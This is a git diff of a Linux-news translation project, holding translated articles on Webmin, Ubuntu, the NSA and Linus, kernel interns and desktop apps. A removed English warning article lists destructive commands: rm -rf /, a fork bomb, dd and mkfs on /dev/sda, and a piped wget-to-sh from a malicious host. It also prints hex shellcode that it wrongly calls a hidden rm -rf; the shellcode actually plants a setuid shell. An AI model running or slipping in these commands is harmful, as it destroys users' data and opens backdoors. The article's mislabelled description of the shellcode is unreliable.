||||
配置 iptables-based firewall。
|
||||
|
||||
[][7]
|
||||
|
||||
配置本地路由表和网关。
|
||||
|
||||
[][8]
|
||||
|
||||
挂载和配置文件系统。
|
||||
|
||||
[][9]
|
||||
|
||||
通过文件管理接口来查看和修改本地文件,但是这需要浏览器有相关的java插件。
|
||||
|
||||
[][10]
|
||||
|
||||
通过改变Webmin的相关配置,你可以控制管理 IP 地址,添加/删除 Webmin 功能模块,开启双因子认证来使用安全登录功能,或者创建证书验证等。
|
||||
|
||||
[][11]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://xmodulo.com/2013/11/manage-linux-server-gui.html
|
||||
|
||||
译者:[thinkinglk](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.webmin.com/
|
||||
[2]:http://www.ispconfig.org/
|
||||
[3]:http://www.zentyal.org/
|
||||
[4]:http://www.flickr.com/photos/xmodulo/10937800943/
|
||||
[5]:http://www.flickr.com/photos/xmodulo/10937589506/
|
||||
[6]:http://www.flickr.com/photos/xmodulo/10937589676/
|
||||
[7]:http://www.flickr.com/photos/xmodulo/10937801173/
|
||||
[8]:http://www.flickr.com/photos/xmodulo/10937531925/
|
||||
[9]:http://www.flickr.com/photos/xmodulo/10937589556/
|
||||
[10]:http://www.flickr.com/photos/xmodulo/10937531975/
|
||||
[11]:http://www.flickr.com/photos/xmodulo/10937532015/
|
||||
[12]:http://www.webmin.com/standard.html
|
@ -0,0 +1,33 @@
|
||||
Mark Shuttleworth为“茶派”及其他错误认错
|
||||
================================================================================
|
||||
**Canonical公司的创始人Mark Shuttleworth他澄清了他的[“茶派”论调][4],为他的言论而表示歉意。**
|
||||
|
||||

|
||||
|
||||
我们并不是每天都能看到Mark Shuttleworth连续道歉两次,很有可能这是第一次。
|
||||
|
||||
[第一个道歉][1]是对收到了Canonical公司法律团队邮件的fixubuntu.com的站长Micah F. Lee,他写了一篇广泛传播的关于这些问题的博客,并且在许多论坛和网站引起了热议。
|
||||
|
||||
Mark Shuttleworth首先在Google+向他道歉,接着他在其个人博客上写了正式的道歉文章,他的博客通常都是用于宣布重要事情的地方。
|
||||
|
||||
这个道歉之后,他又花了一些时间说,他为带来了很多抨击的[“茶派”][2]的说法而后悔,这个事情甚至比他原来认为的还要糟糕。
|
||||
|
||||
“另一方面,从个人角度看,我自己犯了一个错误,当我使用标签“开源茶派”来指那些对Canonical做的事情的非技术评论家。这是不对的,并且的确可能冒犯了真的茶派(注意这里!)以及那些非技术批评家(再看这儿!)。”
|
||||
|
||||
“这并不是说我建议我不需要这样技术反馈,而是一些假定我拒绝了包括技术反馈在内的所有反馈。我没有——我在说对软件的评价,并不是软件本身的中心,而是开发软件的人需求的综合,或者是某个自由软件协议下发布,或者是公司的策略、或者是公司后面的国家”,Mark Shuttleworth[说道][3]。
|
||||
|
||||
|
||||
希望结束在这个事件上的所有的讨论,人们最终将能够接受引发了这次讨论的Mir。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819.shtml
|
||||
|
||||
译者:[Vito](https://github.com/vito-L) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Apologizes-for-the-Trademark-Infringement-Letter-Sent-to-Fixubuntu-com-398583.shtml
|
||||
[2]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml
|
||||
[3]:http://www.markshuttleworth.com/archives/1299
|
||||
[4]:http://linux.cn/article-2283-1.html
|
@ -0,0 +1,40 @@
|
||||
这是玩笑吗?Linux之“祖父”认为NSA曾要求在Linux中植入后门
|
||||
================================================================================
|
||||

|
||||
|
||||
*照片中为大神Linus(左)和Benjamin Humphrey(译者注:该小伙儿为本文原文出处‘OMG!Ubuntu!’的联合创始人之一,现已离开OMGUbuntu)!照片摄于2011年*
|
||||
|
||||
美国国家安全局([**NSA**][1])被称,他们曾经要求Linux的创始人,Linus Torvalds,在GNU/Linux中建立一个他们可以访问的“后门”。
|
||||
|
||||
这绝非谣言,Linus的父亲,Nils Torvalds如此说道。(译注:也许Nils可以算做是Linux的祖父?好吧,我是标题党,啦啦啦~ :D 无论如何,感谢他生了一个好儿子! )
|
||||
|
||||
作为欧洲议会(MEP)的成员之一,Nils出席了最近关于“欧盟公民监视问题”的委员会质询会议。根据爱德华·斯诺登泄露出的一些NSA文档,委员会对文档中列出的一些公司代表就所谓的“合作”进行了质询。
|
||||
|
||||
同属欧洲议会成员的瑞典盗版党主席Christian Engström就质问微软的发言人,其公司是否曾主动为NSA在他们的系统中植入过“后门”,(译者注:盗版党是一个以废除专利制度、维护公民隐私为宗旨的民间自发政党,最先在瑞典出现,传送门→[盗版党百度百科](http://baike.baidu.com/view/1104760.htm))。之后,Nils Torvalds[说道][2]:
|
||||
|
||||
> 我的长子[Linus Torvalds]也被问到了同样的问题 —— “NSA是否曾要求他植入后门?”,当时他口中回答“No”,但同时却在点头。我的儿子有某种程度上的法律自由,他已经给出了正确的回答…… 每个人都明白,NSA的确曾要求他这么干过!
|
||||
|
||||
如果这段描述让你觉着耳熟,你可以[看下Youtube上关于这一段的视频片段][3]。后来Linus坚称他当时只是开玩笑,[NSA并没有为此找过他][4]。
|
||||
|
||||
**但是,根据11月11号质询会议上的发言看来,他的父亲并不这么想。**
|
||||
|
||||
根据文档,Google、[Yahoo!][5]、Facebook,[的确还有微软][6],都在NSA要求提供“后门”的合作公司之列,这一发现,虽不足以震惊全世界,但事实上,从大局考虑还是有意义的。毕竟,凭什么说NSA不会要求Linus这么做呢?
|
||||
|
||||
Nils并没有解释Linus具体是如何回应的 —— 但我估计,这说明了两个问题,首先我们至少可以肯定的一点是,开源世界一直在努力防范类似事情成为可能;
|
||||
|
||||
其次,如果真的有某些漏洞存在,NSA长长的触手早就已经把你的压箱底私房钱翻个底儿掉了。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/nsa-ask-linus-torvalds-include-backdoors-linux-father-says-yes
|
||||
|
||||
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.nsa.gov/
|
||||
[2]:http://youtu.be/EkpIddQ8m2s?t=3h09m06s
|
||||
[3]:http://www.youtube.com/watch?v=7gRsgkdfYJ8
|
||||
[4]:http://mashable.com/2013/09/19/linus-torvalds-backdoor-linux/
|
||||
[5]:http://www.telegraph.co.uk/technology/internet-security/10459081/Yahoo-to-encrypt-internal-traffic-following-NSA-revelations.html
|
||||
[6]:http://www.bbc.co.uk/news/technology-23285642
|
@ -1,26 +1,27 @@
|
||||
向女士延伸项目为Linux内核寻找新的女性实习生
|
||||
===
|
||||
这个夏季作为[FOSS针对女性的延伸项目][1]的一部分,在Linux基金会工作的实习生们背景不同,水平也高低不等,但是她们至少有一件事情是相同的(除去性别之外),就是她们可以在自己的履历中添加一项“Linux内核工作者”。
|
||||
Linux编程女神计划招募新的内核级MM实习生
|
||||
=====
|
||||
|
||||
作为[FOSS的Linux编程女神计划(Outreach Program for Women)][1]的一部分,这个夏季在Linux基金会工作的实习生们背景不同,水平也高低不等,但是她们至少有一件事情是相同的(除去性别之外),就是她们可以在自己的履历中添加一项“Linux内核黑客”。(译注:Outreach Program for Women,OPW此处译作“Linux编程女神计划”带有调侃意味,Just joke,没有恶意。)
|
||||
|
||||

|
||||
|
||||
*针对女性的延伸项目在对Linux内核3.12的贡献已经名列前茅。来源:LWN.net*
|
||||
*针对女性的招募项目在对Linux内核3.12的贡献已经名列前茅。来源:LWN.net*
|
||||
|
||||
在Linux基金会资助的第一批每人5000美元薪水的申请人中,Lisa Nguyen, Xenia Ragiadakou, Elena Ufimtseva, Laura Vasilescu 和Tulin Izer是41申请者中的7名女性女性获得者。她们与Intel、Oracle和Citrix的内核开发者一起全职工作了三个月,处理包括x86启动进程和XNUMA拓扑等项目。她们还利用500美元的旅行奖学金,出席在新奥尔良或者爱丁堡举行的LinuxCon会议并做了演讲。
|
||||
在Linux基金会资助的第一批每人5000美元酬金的申请人中,Lisa Nguyen, Xenia Ragiadakou, Elena Ufimtseva, Laura Vasilescu 和Tulin Izer是41申请者中的7名女性女性获得者。她们与Intel、Oracle和Citrix的内核开发者一起全职工作了三个月,处理包括x86启动进程和XNUMA拓扑等项目。她们还利用500美元的旅行奖学金,出席了在新奥尔良或者爱丁堡举行的LinuxCon会议并做了演讲。
|
||||
|
||||
“我要说能有我这样的机会并不多哦,在LinuxCon北美会议上做志愿者,在LinuxCon北美会议上发表演讲,而且与Linux Torvalds交流了三天!”Nguyen说,她是一个Linux内核实习生,与Orcale的Konrad Rzeszutek Wilk一起解决Xen block 驱动问题。
|
||||
|
||||
除了学习如何创建和提交内核补丁,这些实习生们通过结交新朋友和同事,克服了她们的恐惧心理,为Linux内核的发展作出了明显的贡献。
|
||||
除了学习如何创建和提交内核补丁,这些实习生们通过结交新朋友和同事,克服了她们的恐惧心理,为Linux内核的发展作出了显著的贡献。
|
||||
|
||||
“我不再害怕碰内核代码了”Izer这样说道,她和来自Intel的Peter P. Waskiewicz Jr.一起工作,解决x86的启动进程并行化问题。“这是我第一次对开源项目作出贡献,我以此为自豪。我将接着做下去”。
|
||||
|
||||
###内核贡献着排行榜
|
||||
|
||||
依据[LWN 8月内核报告][2],作为一个组织,OPW被列为对Linux3.11内核的主要贡献者之一,提交了230个变更,总体位于第13位。其中,实习生Xenia Ragiadakou给3.11内核贡献了100个补丁,在最活跃的开发者中位列前10。
|
||||
据[LWN 8月内核报告][2],作为一个组织,OPW被列为对Linux3.11内核的主要贡献者之一,提交了230个变更,总体位于第13位。其中,实习生Xenia Ragiadakou给3.11内核贡献了100个补丁,在最活跃的开发者中位列前10!
|
||||
|
||||
“我的主要工作就是添加追踪事件,然后写trace-cmd插件,以便于人们阅读的格式分析这些痕迹,以方便xhci(驱动)找出问题。” ”Ragiadakou说,她和Intel的内核开发者Sarah Sharp一起做这项工作。“我学习了如何使用git,如何使用静态代码分析工具,以及如何发送补丁,如何查看debug日志,usb子系统是如何组成的,xhci驱动又是如何实现的。”
|
||||
|
||||
根据[LWN 10月分析报告][3],在内核3.12上,OPW再次排在了贡献最大的团队或公司之中,这次是排行第11行,有19,649行代码的改动。那代表了在过去最新的一次开发周期中接近2.7%的改动量。
|
||||
据[LWN 10月分析报告][3],在内核3.12上,OPW再次排在了贡献最大的团队或公司之中,这次是排行第11行,有19,649行代码的改动。那代表了在过去最新的一次开发周期中接近2.7%的改动量。
|
||||
|
||||
在她们的实习计划在9月份结束时,她们中的大多数仍然持续做该项目并打算继续做下去。
|
||||
|
||||
@ -28,7 +29,7 @@
|
||||
|
||||
“我甚至需要学习如何才能停下来。有时候,好吧,是常常,我无法停下来,”Ufimtseva说,她和Citrix的Stefano Stabellini、Dario Fargiolli、George Dunlap一起工作,以解决针对与工作在xen上的并行虚拟机的vNUMA拓扑问题。“我一直努力,最终我贡献的补丁被提交到了高质量代码库里,这真的是很鼓舞人心哇!”
|
||||
|
||||
下一轮Liux内核实习生的截止日期是11月。申请者应有c或c++的基本知识,布尔代数,对Linux/Unix操作系统有一定的经验,了解Git更好不过不是硬性要求。想了解有关项目以及如何申请的更详细信息,可浏览[ Kernel Newbies上的OPW 页面][4]。
|
||||
下一轮Linux内核实习生的截止日期是11月。申请者应有c或c++和布尔代数的基本知识,对Linux/Unix操作系统有一定的经验,了解Git更好,不过不是硬性要求。想了解有关项目以及如何申请的更详细信息,可浏览[ Kernel Newbies上的OPW 页面][4]。
|
||||
|
||||
###Lisa Nguyen
|
||||
|
||||
@ -40,7 +41,7 @@
|
||||
|
||||
**你为什么申请同OPW一起为Linux内核工作**
|
||||
|
||||
我想要一个挑战,想要跳离自己的舒服区域。我要给自己一个软件开发的机会,因为过去我一直面临自信心问题。一天,我决定要寻求一个有关Linux的职业来而不是数字分析工作。当我看到OPW项目出现在Linux基金会在Google+上的博文时,我觉得这是一个再合适不过的机会咯,于是,我想“我为什么不去尝试一下呢?”
|
||||
我想要一个挑战,想要跳离自己的小窝。我要给自己一个软件开发的机会,因为过去我一直面临自信心问题。一天,我决定要寻求一个有关Linux的职业来而不是数字分析工作。当我看到OPW项目出现在Linux基金会在Google+上的博文时,我觉得这是一个再合适不过的机会咯,于是,我想“我为什么不去尝试一下呢?”
|
||||
|
||||
###Elena Ufimtseva
|
||||
|
||||
@ -52,7 +53,7 @@
|
||||
|
||||
**你为什么申请同OPW一起为Linux内核工作**
|
||||
|
||||
我觉得我需要在低层创建软件,例如系统软件,而不是用java。我有一种感觉,我能应对复杂的问题并解决他们。我经常阅读最新的Linux新闻,我觉得最吸引我注意的是Greg在一年前在Google做的关于Linux内核开发着社区以及补丁递交程序等的报告。我觉得“哇,这好好玩哇!”
|
||||
我觉得我想在底层开发软件,例如系统软件,而不是用java。我有一种感觉,我能应对复杂的问题并解决他们。我经常阅读最新的Linux新闻,我觉得最吸引我注意的是Greg在一年前在Google做的“关于Linux内核开发者社区以及补丁递交程序”等的报告。我觉得“哇,这好好玩哇!”
|
||||
|
||||
### Laura Vasilescu ###
|
||||
|
||||
@ -60,7 +61,7 @@
|
||||
|
||||
**Laura Vasilescu 和 Carolyn Wyborny以及Anjali Singhai共同去解决igb驱动的ethtool属性。**
|
||||
|
||||
我认为自己就是一个极客,我对改善教育系统(尤其是罗马尼亚的)有着非常浓厚的兴趣。作为一名学生,我志愿做我所在大学的教师助理,还是罗马尼亚开源教育协会的成员。我的技术专长是网络,操作系统和低级编程语言。
|
||||
我认为自己就是一个极客,我对改善教育系统(尤其是罗马尼亚的)有着非常浓厚的兴趣。作为一名学生,我志愿做我所在大学的教师助理,还是罗马尼亚开源教育协会的成员。我的技术专长是网络,操作系统和底层编程语言。
|
||||
|
||||
**你为什么申请同OPW一起为Linux内核工作**
|
||||
|
||||
@ -72,7 +73,7 @@
|
||||
|
||||
**Tulin Izer和来自Intel的Peter Waskiewicz一起去解决x86系统的启动进成并行化问题。**
|
||||
|
||||
我来自与土耳其。我是一名来自于伊斯坦布尔的Galatasaray大学的计算机工程专业的学生。今年我大四。
|
||||
我来自于土耳其。我是一名来自于伊斯坦布尔的Galatasaray大学的计算机工程专业的学生。今年我大四。
|
||||
|
||||
**为什么你申请同OPW一起为Linux内核工作**
|
||||
|
||||
@ -86,11 +87,15 @@
|
||||
|
||||
想加入开源项目的想法已经在我的脑海中存在很久了,但我一直认为我还没有足够的能力加入开源项目中去。这次有三个因素促使我去申请。1)OPW针对女性这一目标是我感到更加舒坦。2)有Linux核心方面的项目。3)被引入Linux内核的开发过程非常平顺,会在应用开发的早期加入进去。
|
||||
|
||||
作者:[Libby Clark][5]
|
||||
|
||||

|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.linux.com/news/featured-blogs/200-libby-clark/746687-outreach-program-for-women-seeks-new-linux-kernel-interns/
|
||||
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasmiepeng](https://github.com/jasminepeng)
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasmiepeng](https://github.com/jasminepeng),[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
@ -98,3 +103,4 @@ via: http://www.linux.com/news/featured-blogs/200-libby-clark/746687-outreach-pr
|
||||
[2]:http://lwn.net/Articles/563977/
|
||||
[3]:http://lwn.net/Articles/570483/
|
||||
[4]:http://kernelnewbies.org/OPWIntro
|
||||
[5]:http://www.linux.com/community/forums/person/41373/catid/200-libby-clark
|
@ -50,8 +50,8 @@ Recoll可以从Dash或者菜单中启动。
|
||||
正如上面提到的,假如你想更多的控制索引的细节,你可以调节Recoll的索引功能。
|
||||
在Recoll的工具中有两个配置项
|
||||
|
||||
1.索引配置
|
||||
2.索引计划
|
||||
1. 索引配置
|
||||
2. 索引计划
|
||||
|
||||
让我们来看一下上面这两个的简短描述。
|
||||
|
||||
@ -118,6 +118,7 @@ Recoll支持两种索引计划:
|
||||
欢呼吧!
|
||||
|
||||
如有问题,请参考我们的Q/A论坛 : http://ask.unixmen.com/ 。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/recoll-text-searching-tool-linux-desktops/
|
@ -1,19 +1,14 @@
|
||||
VidMasta:一个搜索电影和电视剧的桌面应用
|
||||
VidMasta:搜索和观看在线电影、电视剧的神器
|
||||
===
|
||||
|
||||
你是否曾经想要从桌面搜索电影或电视剧,或者搜寻能够随时为你搜索这些东西的应用程序?这儿有一个应用可以满足你的需要。
|
||||
|
||||
[**VidMasta**][1]是一个免费,
|
||||
|
||||
|
||||
VidMasta: A Desktop Application For Searching Movies And TV Shows
|
||||
================================================================================
|
||||
Ever wanted to search for a Movie or a TV shows from your desktop or searching for a application to do it for you whenever you want? Here is a application to fulfil your needs.
|
||||
|
||||
[**VidMasta**][1] is free, cross-platform, federated search desktop application to read about, preview, watch, and download any movie or television titles that are being shared online. It will run on Linux, Windows and Mac OS X.
|
||||
[**VidMasta**][1]是一个免费的、跨平台的的应用,它将搜索、浏览、评论、观看和下载那些在线分享的视频和电视剧等功能融为一体。它可以运行在Linux、Windows和Mac OS X上。
|
||||
|
||||
###特点
|
||||
|
||||
使用VidMasta,你可以做到一下这些:
|
||||
使用VidMasta,你可以做到以下这些:
|
||||
|
||||
- 观看或下载任何格式的电影或电视剧
|
||||
- 支持的格式是:TV,DVD,720P,1080P。
|
||||
- 匿名链接并自动过滤不受信任的IP,可以使用代理,还可以使用加密连接。
|
||||
@ -34,8 +29,7 @@ Ever wanted to search for a Movie or a TV shows from your desktop or searching f
|
||||
|
||||
###在Linux上安装VidMasta
|
||||
|
||||
在安装VidMasta之前,你应该在你的Linux桌面系统中安装最新版的Java。
|
||||
从[这儿][4]下载最新版。进入你下载的文件夹,使用下面的命令安装它:
|
||||
在安装VidMasta之前,你应该在你的Linux桌面系统中安装最新版的Java。从[这儿][4]下载最新版。进入你下载的文件夹,使用下面的命令安装它:
|
||||
|
||||
sudo java -jar vidmasta-setup-16.7.jar
|
||||
|
||||
@ -89,7 +83,9 @@ Ever wanted to search for a Movie or a TV shows from your desktop or searching f
|
||||
|
||||
是不是很酷?
|
||||
|
||||
需要注意的是,若你不能下载最新的电影或电视剧时,也许是因为版权问题或者地理原因。你也可以尝试一下安装最新版的Java并禁用掉屏蔽广告程序,再去播放或下载电影。
|
||||
需要注意的是,若你不能下载最新的电影或电视剧时,也许是因为版权问题或者国家原因。
|
||||
|
||||
你也可以尝试一下安装最新版的Java并禁用掉屏蔽广告程序,再去播放或下载电影。
|
||||
|
||||
你是否对此很期待呢?赶紧把它下载下来安装到你的系统中,祝你使用愉快!
|
||||
|
||||
@ -97,7 +93,7 @@ Ever wanted to search for a Movie or a TV shows from your desktop or searching f
|
||||
|
||||
via: http://www.unixmen.com/vidmasta-desktop-application-searching-movies-tv-shows/
|
||||
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz`) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz`) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
@ -1,103 +0,0 @@
|
||||
翻译中 Luox
|
||||
10 Most Dangerous Commands – You Should Never Execute on Linux
|
||||
================================================================================
|
||||
Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of **Linux** or **Linux command** line. We just want to make you aware of some of the commands which you should think twice before you execute them.
|
||||
|
||||

|
||||
|
||||
### 1. rm -rf Command ###
|
||||
|
||||
The **rm -rf** command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with **rm command** are.
|
||||
|
||||
- **rm** command in Linux is used to delete files.
|
||||
- **rm -r** command deletes the folder recursively, even the empty folder.
|
||||
- **rm -f** command removes ‘Read only File’ without asking.
|
||||
- **rm -rf /** : Force deletion of everything in root directory.
|
||||
- **rm -rf ** * : Force deletion of everything in current directory/working directory.
|
||||
- **rm -rf .** : Force deletion of current folder and sub folders.
|
||||
|
||||
Hence, be careful when you are executing **rm -rf** command. To overcome accidental delete of file by ‘**rm**‘ command, create an alias of ‘**rm**‘ command as ‘**rm -i**‘ in “**.bashrc**” file, it will ask you to confirm every deletion.
|
||||
|
||||
### 2. :(){:|:&};: Command ###
|
||||
|
||||
The above is actually a **fork bomb**. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
|
||||
|
||||
:(){:|:&};:
|
||||
|
||||
### 3. command > /dev/sda ###
|
||||
|
||||
The above command writes the output of ‘**command**‘ on the block **/dev/sda**. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.
|
||||
|
||||
### 4. mv folder /dev/null ###
|
||||
|
||||
The above command will move ‘**folder**‘ to **/dev/null**. In Linux **/dev/null** or **null** device is a special file that discards all the data written to it and reports that write operation succeed.
|
||||
|
||||
# mv /home/user/* /dev/null
|
||||
|
||||
The above command will move all the contents of a **User** directory to **/dev/null**, which literally means everything there was sent to **blackhole (null)**.
|
||||
|
||||
### 5. wget http://malicious_source -O- | sh ###
|
||||
|
||||
The above command will download a script from a malicious source and then execute it. Wget command will download the script and **sh** will execute the downloaded script.
|
||||
|
||||
**Note**: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.
|
||||
|
||||
### 6. mkfs.ext3 /dev/sda ###
|
||||
|
||||
The above command will format the block ‘**sda**’ and you would surely be knowing that after execution of the above command your Block (**Hard Disk Drive**) would be new, **BRAND NEW!** Without any data, leaving your system into unrecoverable stage.
|
||||
|
||||
### 7. > file ###
|
||||
|
||||
The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> **xt.conf**” will write the configuration file or any other system or configuration file.
|
||||
|
||||
### 8. ^foo^bar ###
|
||||
|
||||
This command, as described in our [10 Lesser Known Linux Commands][1], is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using **^foo^bar** command.
|
||||
|
||||
### 9. dd if=/dev/random of=/dev/sda ###
|
||||
|
||||
The above command will wipe out the block **sda** and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
|
||||
|
||||
### 10. Hidden the Command ###
|
||||
|
||||
The below command is nothing but the first command above (**rm -rf**). Here the codes are hidden in **hex** so that an ignorant user may be fooled. Running the below code in your terminal will wipe your **root** partition.
|
||||
|
||||
This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.
|
||||
|
||||
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
|
||||
release */
|
||||
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
|
||||
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
|
||||
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
|
||||
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
|
||||
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
|
||||
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
|
||||
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
|
||||
“cp -p /bin/sh /tmp/.beyond; chmod 4755
|
||||
/tmp/.beyond;”;
|
||||
|
||||
**Note**: Don’t execute any of the above command in your **Linux** terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the **Author** of the article nor **Tecmint** is responsible.
|
||||
|
||||
That’s all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to **Tecmint**. If you know any other such **Dangerous Linux Commands** and you would like us to add to the list, please tell us via comment section and don’t forgot to give your value-able feedback.
|
||||
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/
|
||||
[2]:
|
||||
[3]:
|
||||
[4]:
|
||||
[5]:
|
||||
[6]:
|
||||
[7]:
|
||||
[8]:
|
||||
[9]:
|
||||
[10]:
|
||||
[11]:
|
||||
[12]:
|
70
sources/Are Open Source Developers Too Demanding.md
Normal file
70
sources/Are Open Source Developers Too Demanding.md
Normal file
@ -0,0 +1,70 @@
|
||||
Are Open Source Developers Too Demanding?
|
||||
================================================================================
|
||||
**Open source invites participation, including criticism. But do developers sometimes take it too far?**
|
||||
|
||||

|
||||
|
||||
Developers can be a fickle bunch. Gifted with mountains of free, open-source code of ever-improving quality, some developers can’t help but complain that there’s not more, and even more free, software. But the problem often isn't the code itself, but poorly calibrated expectations and scanty training.
|
||||
|
||||
### What? Me Pay? ###
|
||||
|
||||
One sometimes unrealistic expectation is that software should be free. All of it.
|
||||
|
||||
So, for example, we have [one young developer berating nginx][1] for building “admittedly amazing software” but then having the audacity to charge for it.
|
||||
|
||||
No, really. Those nginx people are trying to make money by writing software that people want. Can you believe the gall?
|
||||
|
||||
Actually, his problem is more nuanced than this. Despite electing not to use Apache httpd, the Hip Young Startup blog author complains that nginx "took a feature that Apache httpd has had literally forever and put it behind a pay wall." It's unclear why he doesn't just use Apache to solve his problem, given that he also says "the performance difference between nginx and httpd in this scenario is negligible."
|
||||
|
||||
Or maybe he could fix nginx himself, given that, by his own admission, it's "trivial" to make the changes himself to get around nginx's attempts to sustain product development by charging for some features. The problem, as he acknowledges, is that he "shouldn’t have to do any of this [crap]."
|
||||
|
||||
In other words, the world (or nginx) owes this developer a living. Who knew?
|
||||
|
||||
Let's be clear: one of the ways open source succeeds is by dramatically lowering the bar to adoption. Charging money, even a negligible fee, can hinder that adoption. But getting uppity about the primary developer of an open-source project charging money for value? As programmer Brendan Loudermilk ([@bloudermilk][2]) [tells][3] the Hip Young Startup blogger, "You could always pay for and support the software that serves as a core dependency of your app."
|
||||
|
||||
Imagine that.
|
||||
|
||||
### Documentation? Of Course I Didn’t Read The Documentation! ###
|
||||
|
||||
Then there are the countless others who take to Hacker News to complain about software they often don’t understand, quite often because they haven’t bothered to read the documentation. I completely get that great software should be approachable, and great products, generally, should be somewhat self-explanatory.
|
||||
|
||||
But much of the best open-source software can be complex to run, at least, at scale. If the software isn't working for someone, it's not obvious that the software is the problem. Vlad Mihalcea, founder of the Struts open-source framework, nails this, [arguing][4] that “if there is someone to blame, it’s usually us” as much of the available open-source software tends to be high-quality code.
|
||||
|
||||
What it isn’t, he goes on to argue, is a free lunch in terms of a learning curve. Any software, whether open source or proprietary, requires some investment in learning how to be productive with it. As he notes of Hibernate and other open-source technologies, “If you want to employ them [successfully], be prepared to learn a lot. There is no other way.”
|
||||
|
||||
This won’t resonate with the hacker crowd whose first instinct is to complain when software doesn’t work the way they want, even if it wasn’t designed to do what they want it to do. But it’s true, all the same.
|
||||
|
||||
### Healthcare.gov Vs. Gov.UK ###
|
||||
|
||||
Just look at the Healthcare.gov debacle for proof. Recently NoSQL database vendor MarkLogic has been [taking bullets][5] over its alleged role in Healthcare.gov’s many technical problems. [Some have gone so far as to argue][6] that NoSQL databases, in general, are faulty because of the Healthcare.gov debacle.
|
||||
|
||||
This is stupid.
|
||||
|
||||
MarkLogic is a fine database. While not perfect, it’s silly to blame Healthcare.gov’s problems on this legacy database. Code isn’t the primary problem.
|
||||
|
||||
As [I’ve argued][7], Healthcare.gov’s problems aren’t really about code, but instead about process. For proof, look no further than Healthcare.gov’s British peer, Gov.UK, [which credits NoSQL technologies][8] as a significant reasons for its success.
|
||||
|
||||
The difference isn’t in the code the two websites used, but rather their respective approaches: Gov.UK is iterative, agile. Healthcare.gov is top-down, waterfall.
|
||||
|
||||
### A Poor Craftsman Blames Her Tools ###
|
||||
|
||||
Open source invites criticism by laying bare its strengths and weaknesses in a way proprietary software never did. Developers today have a level of accessibility to the code they use that previous generations of developers lacked, with a megaphone (the Internet) that allows them to broadcast complaints about that code.
|
||||
|
||||
But let’s not lose sight of just how blessed we are to have this code, or forget our obligation to apply it appropriately in order to be successful. In other words, read the documentation before you complain that open-source software doesn’t “work.” More often than not, it works just fine, but not for the ill-conceived purpose you have in mind.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://readwrite.com/2013/11/26/are-open-source-developers-too-demanding#awesm=~ooy2qPfuR2PvIx
|
||||
|
||||
